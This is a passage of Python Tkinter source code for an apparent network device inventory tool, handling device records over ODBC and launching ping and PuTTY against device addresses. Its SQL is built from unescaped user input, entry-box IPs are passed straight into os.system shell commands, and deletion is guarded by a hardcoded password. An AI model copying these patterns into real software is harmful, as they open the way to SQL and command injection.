***')               \r\n                    self.on_sites_combo_changed(\"event\")\r\n                    self.Disable_Screen()\r\n                else:\r\n                    mbox.showerror(master=self.DeviceFrame,title='Device',\r\n                    message = '*** The Device ID you try to Remove Does not exist Anymore ***')\r\n        else:\r\n            mbox.showerror(master=self.DeviceFrame,title='Device',\r\n                             message = '*** ERROR *** - THE ODBC Connection was NOT Succesful, \\r\\n'\r\n                                       + 'Please make sure the ODBC DSN Name mathes: ['\r\n                                       + self.ODBC_name + \"]\")\r\n\r\n    def try_login(self):\r\n        self.GetPasswordWindowsExists = True \r\n        if self.password_guess.get() == \"BeCareful\":\r\n            self.GetPasswordWindow.destroy()\r\n            self.Remove_Device_From_DB()\r\n            self.GetPasswordWindowsExists = False\r\n        else:\r\n            mbox.showerror(master=self.GetPasswordWindow,title='Username and Password',\r\n                             message = '*** ERROR *** - Please Enter a Valid Information')\r\n            self.GetPasswordWindow.destroy()\r\n            self.GetPasswordWindowsExists = False\r\n            \r\n    def try_login_Enter(self,event):\r\n        self.try_login()\r\n        \r\n    def on_GetPasswordWindow_quit(self):\r\n        self.GetPasswordWindowsExists = False\r\n        self.GetPasswordWindow.destroy()\r\n\r\n    def Get_Usernanme_and_Password(self):\r\n        if not self.GetPasswordWindowsExists:\r\n            self.password = \"\"\r\n            self.username = \"\"\r\n            self.GetPasswordWindowsExists = True\r\n            self.GetPasswordWindow = Tk()\r\n            self.GetPasswordWindow.resizable(width=FALSE, height=FALSE)\r\n            self.GetPasswordWindow.protocol(\"WM_DELETE_WINDOW\", self.on_GetPasswordWindow_quit)\r\n            self.GetPasswordWindow.title(\"Log-In\")\r\n            self.GetPasswordWindow.geometry(\"200x150\")\r\n            #Creating the username & password entry boxes\r\n            self.username_text = Label(self.GetPasswordWindow, text=\"Username:\")\r\n            self.username_guess = Entry(self.GetPasswordWindow)\r\n            self.password_text = Label(self.GetPasswordWindow, text=\"Password:\")\r\n            self.password_guess = Entry(self.GetPasswordWindow, show=\"*\")\r\n            self.password_guess.bind('<Return>',self.try_login_Enter)\r\n            self.attempt_login = Button(self.GetPasswordWindow,text=\"Login\", command = self.try_login)                 \r\n            self.username_text.pack()\r\n            self.username_guess.pack()\r\n            self.password_text.pack()\r\n            self.password_guess.pack()\r\n            self.attempt_login.pack()\r\n            self.GetPasswordWindow.mainloop()\r\n            \r\n    #-------------- Using a Password Question to make sure it was the intent to be deleted <End> ---------------\r\n\r\n    def Call_Button_Device_Remove(self):\r\n        if Is_logging_Available:\r\n            Parameter = []\r\n            Parameter = ['Device','REMOVE Button']    \r\n            Logging.Log(Parameter)\r\n        self.DeviceID = self.DeviceIDFrameEntry.get()\r\n        self.Get_Usernanme_and_Password()\r\n\r\n    def Call_Button_Device_OK(self):\r\n        if Is_logging_Available:\r\n            Parameter = []\r\n            Parameter = ['Device','OK/UPDATE Button']    \r\n            Logging.Log(Parameter)\r\n        if self.db.Connect():\r\n            self.ButtonDeviceAdd['state']    = DISABLED\r\n            self.ButtonDeviceEdit['state']   = DISABLED\r\n            self.ButtonDeviceRemove['state'] = DISABLED\r\n            self.ButtonDeviceOK['state']     = ACTIVE\r\n            self.ButtonDeviceCancel['state'] = ACTIVE\r\n            self.ButtonDeviceCircuits['state'] = DISABLED\r\n            self.ButtonDevicePing64['state'] = DISABLED\r\n            self.ButtonDevicePing1500['state'] = DISABLED\r\n            #self.ButtonDeviceContacts['state'] = DISABLED\r\n            self.ButtonDeviceICMP['state'] = DISABLED\r\n            self.ButtonDeviceLocalPointOfContacts['state'] = DISABLED\r\n            \r\n            self.Collect_Screen() # <-------------------- Collect all Data on Screen\r\n            PrimaryKey = (self.DeviceID)\r\n            #self.Selection = 'notyet'\r\n            #-------------- ADD ----------------------\r\n            if (self.Selection == 'add'):\r\n                if ((len(self.DeviceID) > 0) and (len(self.DeviceDescription) > 0)):\r\n                    if (self.IPFormatCheck(self.DeviceIPAddress) and self.IPFormatCheck(self.DeviceTableNATIP4Address) and\r\n                        self.IPFormatCheck(self.DeviceTableManagementIP4Address)):\r\n                        sql = \"\"\"\r\n                                SELECT * FROM Devices\r\n                                WHERE Device_ID = '%s'\r\n                              \"\"\" % (PrimaryKey)\r\n                        if (self.db.Execute(sql)):\r\n                            mbox.showerror(master=self.DeviceFrame,title='Device',\r\n                            message = '*** The Device ID you entered already exist ***')\r\n                        else:\r\n                            if (len(self.DeviceDescription) > 100):\r\n                                self.DeviceDescription = self.DeviceDescription[:100]\r\n                            sql = \"INSERT INTO Devices(Device_ID, Device_Description, Country_ID, Region_ID, Facility_ID, Site_ID, Device_Type_ID, IP4_Address, \\\r\n                                       IP6_Address, Contract_No, OutSource_Cost, Maintenance_Cost, Status, Monthly_Cost, \\\r\n                                       Date_Installed, Day_Installed, Month_Installed, Year_Installed, \\\r\n                                       Date_Activated, Day_Activated, Month_Activated, Year_Activated, \\\r\n                                       Disconnect_Date, Day_Disconnect, Month_Disconnect, Year_Disconnect, \\\r\n                                       Expiration_Date, Day_Expiration, Month_Expiration, Year_Expiration, Serial_No, Executed_by_UserID, \\\r\n                                       Notes, Device_Model_ID, MAC_Address, NAT_IP4_Address, Management_IP4_Address, Last_Success_ICMP, \\\r\n                                       Last_ICMP_Status, ICMP_Capable, Monitor_via_ICMP, Last_Updated_CMDB_Date, Last_Updated_CMDB_Day, \\\r\n                                       Last_Updated_CMDB_Month, Last_Updated_CMDB_Year) \\\r\n                                       VALUES ('%s','%s','%s','%s','%s','%s','%s','%s','%s','%s','%f','%f','%s','%f','%s','%d','%d','%d','%s',\\\r\n                                       '%d','%d','%d','%s','%d','%d','%d','%s','%d','%d','%d','%s','%s','%s','%s','%s','%s','%s','%s','%s','%s',\\\r\n                                       '%s','%s','%d','%d','%d')\" %(PrimaryKey,self.DeviceDescription, self.CountryID, self.RegionID, self.FacilityID, self.SitesID,\r\n                                        self.DeviceTypeID, self.DeviceIPAddress, \"::\", self.DeviceContract, self.DeviceOutSourceCost, self.DeviceMaintenanceCost,\r\n                                        self.DeviceStatus, 0.0, self.DeviceInstalledDate, int(self.DeviceInstalledDay), int(self.DeviceInstalledMonth), int(self.DeviceInstalledYear),\r\n                                        self.DeviceActivatedDate, int(self.DeviceActivatedDay), int(self.DeviceActivatedMonth), int(self.DeviceActivatedYear),\r\n                                        self.DeviceDisconnectedDate, int(self.DeviceDisconnectedDay), int(self.DeviceDisconnectedMonth), int(self.DeviceDisconnectedYear),\r\n                                        self.DeviceExpirationDate, int(self.DeviceExpirationDay), int(self.DeviceExpirationMonth), int(self.DeviceExpirationYear),\r\n                                        self.DeviceSerialNo,self.Username, self.DeviceNotes, self.DeviceModelID, self.DeviceMACAddress, self.DeviceTableNATIP4Address,\r\n                                        self.DeviceTableManagementIP4Address, self.DeviceTableLastSuccessICMP, self.DeviceTableLastICMPStatus,\r\n                                        self.DeviceTableICMPCapable,self.DeviceTableMonitorviaICMP,self.DeviceTableLastUpdatedCMDBDate,0,0,0)\r\n                            #print (sql)\r\n                            '''\r\n                            self.DeviceTableNATIP4Address = self.DeviceNATIPAddressFrameEntry.get()           \r\n                            self.DeviceTableManagementIP4Address = self.DeviceMgmtIPAddressFrameEntry.get()\r\n                            self.DeviceTableICMPCapable = self.DeviceComboBoxICMPCapable.current()\r\n                            self.DeviceTableMonitorviaICMP = self.DeviceComboBoxICMPMonitor.current()\r\n                            self.DeviceTableLastSuccessICMP = self.DeviceLastICMPDateFrameEntry.get()\r\n                            self.DeviceTableLastICMPStatus = self.DeviceLastICMPStatusFrameEntry.get()\r\n                            self.DeviceTableLastUpdatedCMDBDate = self.DeviceLastCMDBStatusFrameEntry.get()\r\n                            # self.DeviceTableLastUpdatedCMDBDay\r\n                            # self.DeviceTableLastUpdatedCMDBMonth\r\n                            # self.DeviceTableLastUpdatedCMDBYear\r\n\r\n                            35 NAT_IP4_Address         CHAR(20), '%s'\r\n                            36 Management_IP4_Address  CHAR(20), '%s'\r\n                            37 Last_Success_ICMP       CHAR(50), '%s'\r\n                            38 Last_ICMP_Status        CHAR(50), '%s'\r\n                            39 ICMP_Capable            CHAR(10), '%s'\r\n                            40 Monitor_via_ICMP        CHAR(10), '%s'\r\n                            41 Last_Updated_CMDB_Date  CHAR(50), '%s'\r\n                            42 Last_Updated_CMDB_Day   INT, '%d'\r\n                            43 Last_Updated_CMDB_Month INT, '%d'\r\n                            44 Last_Updated_CMDB_Year  INT)\"\"\" '%d'\r\n\r\n                            '''\r\n                            if (self.db.Add_Move_Change_Data(sql)):\r\n                                #self.db.Disconnect()\r\n                                mbox.showwarning(master=self.DeviceFrame,title='Device',\r\n                                    message = '*** The Device ID you entered was Added ***')\r\n                                self.on_sites_combo_changed(\"event\")\r\n                                self.Disable_Screen()\r\n                            else:\r\n                                #self.db.Disconnect()\r\n                                mbox.showerror(master=self.DeviceFrame,title='Device',\r\n                                    message = '*** The Device ID you entered was NOT Added ***')\r\n                                self.on_sites_combo_changed(\"event\")\r\n                                self.Disable_Screen()\r\n                    else:\r\n                     mbox.showerror(master=self.DeviceFrame,title='Device',\r\n                        message = '*** The Device IP Address is invalid ***')                         \r\n                else:\r\n                     mbox.showerror(master=self.DeviceFrame,title='Device',\r\n                        message = '*** The Device ID and Device Name Cannot be BLANK ***') \r\n            #-------------- EDIT ----------------------\r\n            if (self.Selection == 'edit'):\r\n                #print (PrimaryKey+\"....\")\r\n                if (len(self.DeviceDescription) == 0):\r\n                    mbox.showerror(master=self.DeviceFrame,title='Device',\r\n                    message = '*** The Device Name Cannot be BLANK ***')\r\n                else:\r\n                    sql = \"\"\"\r\n                            SELECT * FROM Devices\r\n                            WHERE Device_ID = '%s'\r\n                          \"\"\" % (PrimaryKey)                   \r\n                    if (self.db.Execute(sql)):   \r\n                        #sql = \"UPDATE Device SET Device_Name = '%s', Executed_by_UserID = '%s' WHERE Country_ID_Device_ID = '%s'\" % (DeviceName,self.Username,PrimaryKey)\r\n                        self.DeviceIPv6 = \"::\"\r\n                        if (len(self.DeviceDescription) > 100):\r\n                            self.DeviceDescription = self.DeviceDescription[:100]\r\n                        #sql = \"UPDATE Device SET Site_Name = '%s', Description = '%s', Executed_by_UserID = '%s' \\\r\n                        #       WHERE Country_ID_Region_ID_Facility_ID_Site_ID = '%s'\" %(self.DeviceName,self.DeviceDescription,self.Username,PrimaryKey)\r\n\r\n                        sql = \"UPDATE Devices SET Device_Description = '%s', Country_ID = '%s', Region_ID = '%s', Facility_ID = '%s', \\\r\n                                       Site_ID = '%s', Device_Type_ID = '%s', IP4_Address = '%s', \\\r\n                                       IP6_Address = '%s', Contract_No = '%s', OutSource_Cost = '%f', Maintenance_Cost = '%f', Status = '%s', Monthly_Cost = '%f', \\\r\n                                       Date_Installed = '%s', Day_Installed = '%d', Month_Installed = '%d', Year_Installed = '%d', \\\r\n                                       Date_Activated = '%s', Day_Activated = '%d', Month_Activated = '%d', Year_Activated = '%d', \\\r\n                                       Disconnect_Date = '%s', Day_Disconnect = '%d', Month_Disconnect = '%d', Year_Disconnect = '%d', \\\r\n                                       Expiration_Date = '%s', Day_Expiration = '%d', Month_Expiration = '%d', Year_Expiration = '%d', Serial_No = '%s', Executed_by_UserID = '%s', \\\r\n                                       Notes = '%s', Device_Model_ID = '%s', MAC_Address = '%s', NAT_IP4_Address = '%s', Management_IP4_Address = '%s', \\\r\n                                       ICMP_Capable = '%s', Monitor_via_ICMP = '%s' \\\r\n                                WHERE Device_ID  = '%s'\" %(self.DeviceDescription, self.CountryID, self.RegionID, self.FacilityID, self.SitesID,\r\n                                        self.DeviceTypeID, self.DeviceIPAddress, \"::\", self.DeviceContract, self.DeviceOutSourceCost, self.DeviceMaintenanceCost,\r\n                                        self.DeviceStatus, 0.0, self.DeviceInstalledDate, int(self.DeviceInstalledDay), int(self.DeviceInstalledMonth), int(self.DeviceInstalledYear),\r\n                                        self.DeviceActivatedDate, int(self.DeviceActivatedDay), int(self.DeviceActivatedMonth), int(self.DeviceActivatedYear),\r\n                                        self.DeviceDisconnectedDate, int(self.DeviceDisconnectedDay), int(self.DeviceDisconnectedMonth), int(self.DeviceDisconnectedYear),\r\n                                        self.DeviceExpirationDate, int(self.DeviceExpirationDay), int(self.DeviceExpirationMonth), int(self.DeviceExpirationYear),\r\n                                        self.DeviceSerialNo,self.Username, self.DeviceNotes, self.DeviceModelID, self.DeviceMACAddress, self.DeviceTableNATIP4Address,\r\n                                        self.DeviceTableManagementIP4Address,self.DeviceTableICMPCapable,self.DeviceTableMonitorviaICMP,PrimaryKey)\r\n\r\n                        '''\r\n                            self.DeviceTableNATIP4Address = self.DeviceNATIPAddressFrameEntry.get()           \r\n                            self.DeviceTableManagementIP4Address = self.DeviceMgmtIPAddressFrameEntry.get()\r\n                            self.DeviceTableICMPCapable = self.DeviceComboBoxICMPCapable.current()\r\n                            self.DeviceTableMonitorviaICMP = self.DeviceComboBoxICMPMonitor.current()\r\n                            self.DeviceTableLastSuccessICMP = self.DeviceLastICMPDateFrameEntry.get()\r\n                            self.DeviceTableLastICMPStatus = self.DeviceLastICMPStatusFrameEntry.get()\r\n                            self.DeviceTableLastUpdatedCMDBDate = self.DeviceLastCMDBStatusFrameEntry.get()\r\n                            # self.DeviceTableLastUpdatedCMDBDay\r\n                            # self.DeviceTableLastUpdatedCMDBMonth\r\n                            # self.DeviceTableLastUpdatedCMDBYear\r\n\r\n                            35 NAT_IP4_Address         CHAR(20), '%s'\r\n                            36 Management_IP4_Address  CHAR(20), '%s'\r\n                            37 Last_Success_ICMP       CHAR(50), '%s'\r\n                            38 Last_ICMP_Status        CHAR(50), '%s'\r\n                            39 ICMP_Capable            CHAR(10), '%s'\r\n                            40 Monitor_via_ICMP        CHAR(10), '%s'\r\n                            41 Last_Updated_CMDB_Date  CHAR(50), '%s'\r\n                            42 Last_Updated_CMDB_Day   INT, '%d'\r\n                            43 Last_Updated_CMDB_Month INT, '%d'\r\n                            44 Last_Updated_CMDB_Year  INT)\"\"\" '%d'\r\n\r\n                        '''\r\n\r\n                        \r\n                        '''\r\n                            self.CountryID\r\n                            self.RegionID\r\n                            self.FacilityID\r\n                            self.SitesID\r\n                            self.DeviceID\r\n                            self.DeviceDescription\r\n                            self.DeviceInstalledDate, self.DeviceInstalledDay, self.DeviceInstalledMonth, self.DeviceInstalledYear\r\n                            self.DeviceActivatedDate, self.DeviceActivatedMonth, self.DeviceActivatedDay, self.DeviceActivatedYear\r\n                            self.DeviceDisconnectedDate, self.DeviceDisconnectedDay, self.DeviceDisconnectedMonth, self.DeviceDisconnectedYear\r\n                            self.DeviceExpirationDate, self.DeviceExpirationDay, self.DeviceExpirationMonth, self.DeviceExpirationYear\r\n                            self.DeviceTypeID \r\n                            self.DeviceModelID\r\n                            self.DeviceStatus \r\n                            self.DeviceIPAddress \r\n                            self.DeviceContract\r\n                            self.DeviceSerialNo \r\n                            self.DeviceMACAddress\r\n                            self.DeviceOutSourceCost \r\n                            self.DeviceMaintenanceCost \r\n                            self.DeviceNotes \r\n\r\n                            Device_ID               CHAR(50) NOT NULL PRIMARY KEY,\r\n                            Device_Description      CHAR(100) NOT NULL,\r\n                            Country_ID              CHAR(20) NOT NULL,                    \r\n                            Region_ID               CHAR(20) NOT NULL,\r\n                            Facility_ID             CHAR(20) NOT NULL,\r\n                            Site_ID                 CHAR(20) NOT NULL,\r\n                            Device_Type_ID          CHAR(30) NOT NULL,\r\n                            IP4_Address             CHAR(20),\r\n                            IP6_Address             CHAR(200),\r\n                            Contract_No             CHAR(20),\r\n                            OutSource_Cost          FLOAT,\r\n                            Maintenance_Cost        FLOAT,\r\n                            Status                  CHAR(20),\r\n                            Monthly_Cost            FLOAT,\r\n                            Date_Installed          CHAR(20),\r\n                            Day_Installed           INT,\r\n                            Month_Installed         INT,\r\n                            Year_Installed          INT,\r\n                            Date_Activated          CHAR(20),\r\n                            Day_Activated           INT,\r\n                            Month_Activated         INT,\r\n                            Year_Activated          INT,\r\n                            Disconnect_Date         CHAR(20),\r\n                            Day_Disconnect          INT,\r\n                            Month_Disconnect        INT,\r\n                            Year_Disconnect         INT,\r\n                            Expiration_Date         CHAR(20),\r\n                            Day_Expiration          INT,\r\n                            Month_Expiration        INT,\r\n                            Year_Expiration         INT,\r\n                            Serial_No               CHAR(100),\r\n                            Executed_by_UserID      CHAR(20),\r\n                            Notes                   CHAR(200),\r\n                            Device_Model_ID         CHAR(30),\r\n                            MAC_Address             CHAR(20))\"\"\"\r\n\r\n                    NAT_IP4_Address         CHAR(20),    \r\n                    Management_IP4_Address  CHAR(20),\r\n                    Last_Success_ICMP       CHAR(50),\r\n                    Last_ICMP_Status        CHAR(50),\r\n                    ICMP_Capable            CHAR(10),\r\n                    Monitor_via_ICMP        CHAR(10),\r\n                    Last_Updated_CMDB_Date  CHAR(50),\r\n                    Last_Updated_CMDB_Day   INT,\r\n                    Last_Updated_CMDB_Month INT,\r\n                    Last_Updated_CMDB_Year  INT)\"\"\"\r\n\r\n                            \r\n                        '''\r\n                        if (self.db.Add_Move_Change_Data(sql)):\r\n                            #self.db.Disconnect()\r\n                            mbox.showwarning(master=self.DeviceFrame,title='Device',\r\n                                message = '*** The Device ID you entered was Updated ***')\r\n                            if ((self.CountryID_Pre != self.CountryIDArray[self.ComboBoxCoutryID.current()]) or\r\n                                (self.RegionID_Pre != self.RegionIDArray[self.ComboBoxRegionID.current()]) or\r\n                                (self.FacilityID_Pre != self.FacilityIDArray[self.ComboBoxFacilityID.current()]) or\r\n                                (self.SitesID_Pre != self.SitesIDArray[self.ComboBoxSitesID.current()])):\r\n                                # ------ The Location Change so we need to move to a new location !!!!!\r\n                                self.CountryID_Pre = self.CountryIDArray[self.ComboBoxCoutryID.current()]\r\n                                self.RegionID_Pre = self.RegionIDArray[self.ComboBoxRegionID.current()]\r\n                                self.FacilityID_Pre = self.FacilityIDArray[self.ComboBoxFacilityID.current()]\r\n                                self.SitesID_Pre = self.SitesIDArray[self.ComboBoxSitesID.current()]\r\n                                self.Selection = 'cancel_edit'\r\n                                self.on_Country_Table_Refresh()\r\n                                self.ComboBoxCoutryID.current(0)            \r\n                                self.on_Region_Table_Refresh()\r\n                                self.ComboBoxRegionID.current(0)\r\n                                self.on_Facility_Table_Refresh()\r\n                                self.ComboBoxFacilityID.current(0)\r\n                                self.on_Sites_Table_Refresh()\r\n                                self.ComboBoxSitesID.current(0)\r\n                                self.on_sites_combo_changed(\"event\")\r\n                            self.Selection = 'edit_ok'\r\n                        else:\r\n                            #self.db.Disconnect()\r\n                            mbox.showerror(master=self.DeviceFrame,title='Device',\r\n                                message = '*** The Device ID you entered was NOT Upadted ***')\r\n                        self.on_sites_combo_changed(\"event\")\r\n                        self.Disable_Screen()\r\n                    else:\r\n                        mbox.showerror(master=self.DeviceFrame,title='Device',\r\n                        message = '*** The Device ID you try to Edit Does not exist Anymore ***')\r\n                        self.on_sites_combo_changed(\"event\")\r\n                        self.Disable_Screen()                        \r\n        else:\r\n            mbox.showerror(master=self.DeviceFrame,title='Device',\r\n                             message = '*** ERROR *** - THE ODBC Connection was NOT Succesful, \\r\\n'\r\n                                       + 'Please make sure the ODBC DSN Name mathes: ['\r\n                                       + self.ODBC_name + \"]\")\r\n\r\n\r\n    def Call_Button_Device_Cancel(self):\r\n        if Is_logging_Available:\r\n            Parameter = []\r\n            Parameter = ['Device','CANCEL Button']    \r\n            Logging.Log(Parameter)\r\n        if (self.Selection == 'edit'):\r\n            if ((self.CountryID_Pre != self.CountryIDArray[self.ComboBoxCoutryID.current()]) or\r\n                (self.RegionID_Pre != self.RegionIDArray[self.ComboBoxRegionID.current()]) or\r\n                (self.FacilityID_Pre != self.FacilityIDArray[self.ComboBoxFacilityID.current()]) or\r\n                (self.SitesID_Pre != self.SitesIDArray[self.ComboBoxSitesID.current()])):\r\n                # ------ The Location Change so we need to move to a new location !!!!!\r\n                self.CountryID_Pre = self.CountryIDArray[self.ComboBoxCoutryID.current()]\r\n                self.RegionID_Pre = self.RegionIDArray[self.ComboBoxRegionID.current()]\r\n                self.FacilityID_Pre = self.FacilityIDArray[self.ComboBoxFacilityID.current()]\r\n                self.SitesID_Pre = self.SitesIDArray[self.ComboBoxSitesID.current()]\r\n                self.Selection = 'cancel_edit'\r\n                self.on_Country_Table_Refresh()\r\n                self.ComboBoxCoutryID.current(0)            \r\n                self.on_Region_Table_Refresh()\r\n                self.ComboBoxRegionID.current(0)\r\n                self.on_Facility_Table_Refresh()\r\n                self.ComboBoxFacilityID.current(0)\r\n                self.on_Sites_Table_Refresh()\r\n                self.ComboBoxSitesID.current(0)\r\n                self.on_sites_combo_changed(\"event\")\r\n        self.Selection = 'cancel'\r\n        self.Clean_Screen('Device','all')\r\n        self.on_sites_combo_changed(\"test\")\r\n        self.ComboBoxCoutryID['state'] = 'readonly'\r\n        self.ComboBoxRegionID['state'] = 'readonly'\r\n        self.ComboBoxFacilityID['state'] = 'readonly'\r\n        self.ComboBoxSitesID['state'] = 'readonly'\r\n        if (Is_Country_Available):\r\n            self.ButtonCountryAdd['state'] = ACTIVE\r\n            self.ButtonCountryRefresh['state'] = ACTIVE\r\n        if (Is_Region_Available):\r\n            self.ButtonRegionAdd['state'] = ACTIVE\r\n            self.ButtonRegionRefresh['state'] = ACTIVE\r\n        if (Is_Facility_Available):\r\n            self.ButtonFacilityAdd['state'] = ACTIVE\r\n            self.ButtonFacilityRefresh['state'] = ACTIVE\r\n        if (Is_Sites_Available):\r\n            self.ButtonSitesAdd['state'] = ACTIVE\r\n            self.ButtonSitesRefresh['state'] = ACTIVE\r\n        #self.Selection = 'cancel'\r\n\r\n\r\n    def On_Run_Ping(self,ip,size):\r\n        #print (\"PING.....\")\r\n        if Is_logging_Available:\r\n            Parameter = []\r\n            Parameter = ['Device','PING Window']    \r\n            Logging.Log(Parameter)\r\n        if (len(ip) > 6):\r\n            '''\r\n            import os\r\n            if os.system(\"ping -c 1 google.com\") == 0:\r\n            ...     print \"host appears to be up\"\r\n            '''\r\n            cmd = (\"ping \" + ip + \" -l \"+size+\" -w 2 -t\")\r\n            os.system(cmd)\r\n\r\n    def On_Ping(self,ip,size):\r\n        try:\r\n            self.thread = Thread(target=self.On_Run_Ping, args=(ip,size,))\r\n            self.thread.daemon=True\r\n            self.thread.start()\r\n        except(KeyboardInterrupt, SystemExit):\r\n            sys.exit(\"Interrupted by ctrl+c\\n\")\r\n\r\n            \r\n    def Call_Button_Ping64(self):\r\n        if Is_logging_Available:\r\n            Parameter = []\r\n            Parameter = ['Device','PING 64 Button']    \r\n            Logging.Log(Parameter)\r\n        ip = self.DeviceIPAddressFrameEntry.get()\r\n        self.On_Ping(ip,'64')\r\n\r\n    def Call_Button_Ping1500(self):\r\n        if Is_logging_Available:\r\n            Parameter = []\r\n            Parameter = ['Device','PING 1500 Button']    \r\n            Logging.Log(Parameter)\r\n        ip = self.DeviceIPAddressFrameEntry.get()\r\n        self.On_Ping(ip,'1500')\r\n\r\n    def Call_Button_Circuits(self):\r\n        if Is_logging_Available:\r\n            Parameter = []\r\n            Parameter = ['Device','Circuits Button']    \r\n            Logging.Log(Parameter)\r\n        self.CountryID = self.CountryIDArray[self.ComboBoxCoutryID.current()]\r\n        self.RegionID = self.RegionIDArray[self.ComboBoxRegionID.current()]\r\n        self.FacilityID = self.FacilityIDArray[self.ComboBoxFacilityID.current()]\r\n        self.SitesID = self.SitesIDArray[self.ComboBoxSitesID.current()]        \r\n        Location = []\r\n        Location = [self.CountryID, self.RegionID, self.FacilityID, self.SitesID]\r\n        Circuit = Class_Circuits(ODBC_DSN_name,Windows_Scaling,Location)\r\n        Circuit.Display_Circuits_Window()\r\n\r\n    def Call_Button_ICMP(self):\r\n        if Is_logging_Available:\r\n            Parameter = []\r\n            Parameter = ['Device','ICMP Button']    \r\n            Logging.Log(Parameter)\r\n        Location = []\r\n        ip = self.DeviceIPAddressFrameEntry.get()\r\n        Location = ['IP Address',ip]\r\n        ICMP = Class_ICMP(ODBC_DSN_name,Windows_Scaling,Location)\r\n        ICMP.Display_ICMP_Window()\r\n\r\n    def Call_Button_LocalPointOfContacts(self):\r\n        if Is_logging_Available:\r\n            Parameter = []\r\n            Parameter = ['Device','Local POC Button']    \r\n            Logging.Log(Parameter)\r\n        self.CountryID = self.CountryIDArray[self.ComboBoxCoutryID.current()]\r\n        self.RegionID = self.RegionIDArray[self.ComboBoxRegionID.current()]\r\n        self.FacilityID = self.FacilityIDArray[self.ComboBoxFacilityID.current()]\r\n        self.SitesID = self.SitesIDArray[self.ComboBoxSitesID.current()]        \r\n        Location = []\r\n        Location = [self.CountryID, self.RegionID, self.FacilityID, self.SitesID]\r\n        LocalPointOfContacts = Class_LocalPointOfContacts(ODBC_DSN_name,Windows_Scaling,Location)\r\n        LocalPointOfContacts.Display_LocalPointOfContacts_Window()\r\n\r\n    def On_Run_Putty(self,ip):\r\n        #print (\"PING.....\")\r\n        if Is_logging_Available:\r\n            Parameter = []\r\n            Parameter = ['Device','Putty Run']    \r\n            Logging.Log(Parameter)\r\n        if (len(ip) > 6):\r\n            cmd = (\"putty.exe -ssh \" + ip)\r\n            os.system(cmd)\r\n\r\n    def On_Putty(self,ip):\r\n        try:\r\n            self.thread = Thread(target=self.On_Run_Putty, args=(ip,))\r\n            self.thread.daemon=True\r\n            self.thread.start()\r\n        except(KeyboardInterrupt, SystemExit):\r\n            sys.exit(\"Interrupted by ctrl+c\\n\")\r\n\r\n            \r\n    def Get_IPAddress(self,event):\r\n        if Is_logging_Available:\r\n            Parameter = []\r\n            Parameter = ['Device','Putty IP Address']    \r\n            Logging.Log(Parameter)\r\n        ip = self.DeviceIPAddressFrameEntry.get()\r\n        self.On_Putty(ip)\r\n\r\n    def Get_NAT_IPAddress(self,event):\r\n        if Is_logging_Available:\r\n            Parameter = []\r\n            Parameter = ['Device','Putty IP NAT Address']    \r\n            Logging.Log(Parameter)\r\n        ip = self.DeviceNATIPAddressFrameEntry.get()\r\n        self.On_Putty(ip)\r\n\r\n    def Get_Mgmt_IPAddress(self,event):\r\n        if Is_logging_Available:\r\n            Parameter = []\r\n            Parameter = ['Device','Putty IP Management Address']    \r\n            Logging.Log(Parameter)\r\n        ip = self.DeviceMgmtIPAddressFrameEntry.get()\r\n        self.On_Putty(ip)\r\n\r\n\r\n    def Call_Button_Contacts(self):\r\n        mbox.showerror(master=self.DeviceFrame,title='Under Construction',\r\n                         message = '... Comming Soon...')               \r\n        \r\n\r\n    def on_Device_Tree_select_click(self,event):\r\n        #print (\"Select\")\r\n        if (self.Selection == 'edit'):\r\n            if ((self.CountryID_Pre != self.CountryIDArray[self.ComboBoxCoutryID.current()]) or\r\n                (self.RegionID_Pre != self.RegionIDArray[self.ComboBoxRegionID.current()]) or\r\n                (self.FacilityID_Pre != self.FacilityIDArray[self.ComboBoxFacilityID.current()]) or\r\n                (self.SitesID_Pre != self.SitesIDArray[self.ComboBoxSitesID.current()])):\r\n                # ------ The Location Change so we need to move to a new location !!!!!\r\n                self.CountryID_Pre = self.CountryIDArray[self.ComboBoxCoutryID.current()]\r\n                self.RegionID_Pre = self.RegionIDArray[self.ComboBoxRegionID.current()]\r\n                self.FacilityID_Pre = self.FacilityIDArray[self.ComboBoxFacilityID.current()]\r\n                self.SitesID_Pre = self.SitesIDArray[self.ComboBoxSitesID.current()]\r\n                self.Selection = 'cancel_edit'\r\n                self.on_Country_Table_Refresh()\r\n                self.ComboBoxCoutryID.current(0)            \r\n                self.on_Region_Table_Refresh()\r\n                self.ComboBoxRegionID.current(0)\r\n                self.on_Facility_Table_Refresh()\r\n                self.ComboBoxFacilityID.current(0)\r\n                self.on_Sites_Table_Refresh()\r\n                self.ComboBoxSitesID.current(0)\r\n                self.on_sites_combo_changed(\"event\")\r\n        self.Selection = 'select'\r\n        curItem = self.DeviceTreeview.focus()  \r\n        dic = self.DeviceTreeview.item(curItem)\r\n        #print (dic)\r\n        #print (dic.get('text'))\r\n        values = dic.get('values')\r\n        if (len(values) > 0):\r\n            #print (values)\r\n            #print (values[0])\r\n            #print (values[1])\r\n            #print (curItem)\r\n            self.ComboBoxCoutryID['state'] = 'readonly'\r\n            self.ComboBoxRegionID['state'] = 'readonly'\r\n            self.ComboBoxFacilityID['state'] = 'readonly'\r\n            if (Is_Country_Available):\r\n                self.ButtonCountryAdd['state'] = ACTIVE\r\n                self.ButtonCountryRefresh['state'] = ACTIVE\r\n            if (Is_Region_Available):\r\n                self.ButtonRegionAdd['state'] = ACTIVE\r\n                self.ButtonRegionRefresh['state'] = ACTIVE            \r\n            if (Is_Facility_Available):\r\n                self.ButtonFacilityAdd['state'] = ACTIVE\r\n                self.ButtonFacilityRefresh['state'] = ACTIVE            \r\n            if (Is_Sites_Available):\r\n                self.ButtonSitesAdd['state'] = ACTIVE\r\n                self.ButtonSitesRefresh['state'] = ACTIVE            \r\n            curItem = int(dic.get('text')) - 1\r\n            self.ButtonDeviceAdd['state']    = ACTIVE\r\n            self.ButtonDeviceEdit['state']   = ACTIVE\r\n            self.ButtonDeviceRemove['state'] = ACTIVE\r\n            self.ButtonDeviceOK['state']     = DISABLED\r\n            self.ButtonDeviceCancel['state'] = DISABLED\r\n            self.ButtonDeviceCircuits['state'] = ACTIVE\r\n            self.ButtonDevicePing64['state'] = ACTIVE\r\n            self.ButtonDevicePing1500['state'] = ACTIVE\r\n            #self.ButtonDeviceContacts['state'] = ACTIVE\r\n            self.ButtonDeviceICMP['state'] = ACTIVE\r\n            self.ButtonDeviceLocalPointOfContacts['state'] = ACTIVE\r\n            self.Display_Screen(curItem)\r\n\r\n    def On_Device_Tree_Refresh(self,event):\r\n        #--- Double Click --\r\n        self.on_Device_Table_Refresh()\r\n\r\n    #--------------------- Installed Date Calendar  <BEGIN> ------------------------------\r\n    def 